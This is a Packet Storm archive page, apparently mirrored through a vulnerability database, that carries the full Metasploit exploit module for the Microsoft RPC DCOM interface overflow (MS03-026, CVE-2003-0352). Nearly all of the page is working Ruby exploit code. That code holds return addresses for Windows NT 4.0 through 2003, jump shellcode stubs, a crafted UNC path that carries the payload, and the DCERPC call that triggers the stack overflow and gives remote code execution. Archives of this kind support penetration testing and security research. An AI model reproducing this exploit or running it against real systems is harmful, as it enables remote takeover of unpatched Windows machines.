Lucene search

K
packetstormH D MoorePACKETSTORM:83012
HistoryNov 26, 2009 - 12:00 a.m.

Microsoft RPC DCOM Interface Overflow

2009-11-2600:00:00
H D Moore
packetstormsecurity.com
20

0.971 High

EPSS

Percentile

99.7%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::DCERPC  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft RPC DCOM Interface Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the RPCSS service, this vulnerability  
was originally found by the Last Stage of Delirium research group and has bee  
widely exploited ever since. This module can exploit the English versions of  
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)  
},  
'Author' => [ 'hdm', 'spoonm', 'cazz' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2003-0352' ],  
[ 'OSVDB', '2100' ],  
[ 'MSB', 'MS03-026' ],  
[ 'BID', '8205' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Payload' =>  
{  
'Space' => 880,  
'MinNops' => 300,  
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",  
'StackAdjustment' => -3500,  
},  
'Targets' =>   
[  
# Target 0: Universal  
[   
'Windows NT SP3-6a/2000/XP/2003 Universal',  
{  
'Platform' => 'win',  
'Rets' =>   
[  
0x77f33723, # Windows NT 4.0 SP6a (esp)  
0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0  
0x0018759f, # Windows 2000 Universal (ebx)  
0x01001c59, # Windows XP SP0/SP1 (pop pop ret)  
0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)  
0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll  
0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll  
],  
},  
],  
],  
'DefaultTarget' => 0))  
end  
  
def autofilter  
# Common vulnerability scanning tools report port 445/139  
# due to how they test for the vulnerability. Remap this  
# back to 135 for automated exploitation  
  
rport = datastore['RPORT'].to_i  
if ( rport == 139 or rport == 445 )  
datastore['RPORT'] = 135  
end  
  
true  
end  
  
def exploit  
connect  
print_status("Trying target #{target.name}...")  
  
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [datastore['RPORT']])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
# Carefully create the combination of addresses and code for cross-os exploitation  
xpseh = rand_text_alphanumeric(360, payload_badchars)  
  
# Jump to [esp-4] - (distance to shellcode)  
jmpsc =  
"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4]  
"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312)  
Rex::Arch::X86.jmp_reg('eax') # jmp eax  
  
# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!  
jmpsc2k3 =  
"\x8b\x45\x30" + # mov eax,[ebp+0x30]  
"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)  
Rex::Arch::X86.jmp_reg('eax') # jmp eax  
  
# Windows 2003 added by spoonm  
xpseh[ 246 - jmpsc2k3.length, jmpsc2k3.length ] = jmpsc2k3  
xpseh[ 246, 2 ] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")  
xpseh[ 250, 4 ] = [ target['Rets'][4] ].pack('V')  
  
xpseh[ 306, 2 ] = Rex::Arch::X86.jmp_short('$+8')  
xpseh[ 310, 4 ] = [ target['Rets'][3] ].pack('V')  
xpseh[ 314, jmpsc.length ] = jmpsc  
  
#  
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both  
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4  
# HD wrote NT 4.0 SP6a, and it's off in a different place  
#  
# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:  
# (hopefully I'm accurate, this is from my memory...)  
#  
# |---pop pop ret-------- --eax---|  
# V | | V  
# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]  
# 4 4 4 5 5  
# | ^  
# --------------------------------------------------|  
# The jmpback's all are 5 byte backwards jumps into our shellcode that  
# sits just below these overwrites...  
#  
  
nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +   
rand_text(2, payload_badchars)   
  
nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')  
nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')  
ntshiz =   
nt4sp3jmp +   
[ target['Rets'][6] ].pack('V') +   
[ target['Rets'][5] ].pack('V') +  
nt4sp5jmpback +   
nt4sp3jmpback  
  
# Pad to the magic value of 118 bytes  
ntshiz += rand_text(118 - ntshiz.length, payload_badchars)   
  
# Create the evil UNC path used in the overflow  
uncpath =   
Rex::Text.to_unicode("\\\\") +   
make_nops(32) +  
  
# When attacking NT 4.0, jump over 2000/XP return  
Rex::Arch::X86.jmp_short(16) +  
Rex::Arch::X86.jmp_short(25) +  
  
[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx)  
[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi)  
[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0  
make_nops(88) +  
Rex::Arch::X86.jmp_short(4) +  
rand_text(4, payload_badchars) +  
make_nops(8) +  
Rex::Arch::X86.jmp_short(4) +  
Rex::Arch::X86.jmp_short(4) +  
make_nops(4) +  
Rex::Arch::X86.jmp_short(4) +  
rand_text(4, payload_badchars) +  
payload.encoded +   
ntshiz +   
xpseh +  
Rex::Text.to_unicode("\\\x00")  
  
# This is the rpc cruft needed to trigger the vuln API  
stubdata =  
NDR.short(5) +  
NDR.short(1) +  
NDR.long(0) +  
NDR.long(0) +  
  
rand_text(16) +   
  
NDR.long(0) +  
NDR.long(0) +  
NDR.long(0) +  
NDR.long(0) +  
NDR.long(0) +  
  
NDR.long(rand(0xFFFFFFFF)) +  
  
NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +  
  
NDR.long(0) +  
NDR.long(rand(0xFFFFFFFF)) +  
NDR.long(rand(0xFFFFFFFF)) +  
  
NDR.long(1) +  
NDR.long(rand(0xFFFFFFFF)) +  
  
NDR.long(1) +  
NDR.long(rand(0xFFFFFFFF)) +  
NDR.long(rand(0xFFFFFFFF)) +  
NDR.long(rand(0xFFFFFFFF)) +  
NDR.long(rand(0xFFFFFFFF)) +  
  
NDR.long(1) +  
NDR.long(1) +  
NDR.long(rand(0xFFFFFFFF))  
  
print_status('Sending exploit ...')  
begin  
dcerpc_call(0, stubdata)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
end  
  
handler  
disconnect   
end  
  
end  
`

0.971 High

EPSS

Percentile

99.7%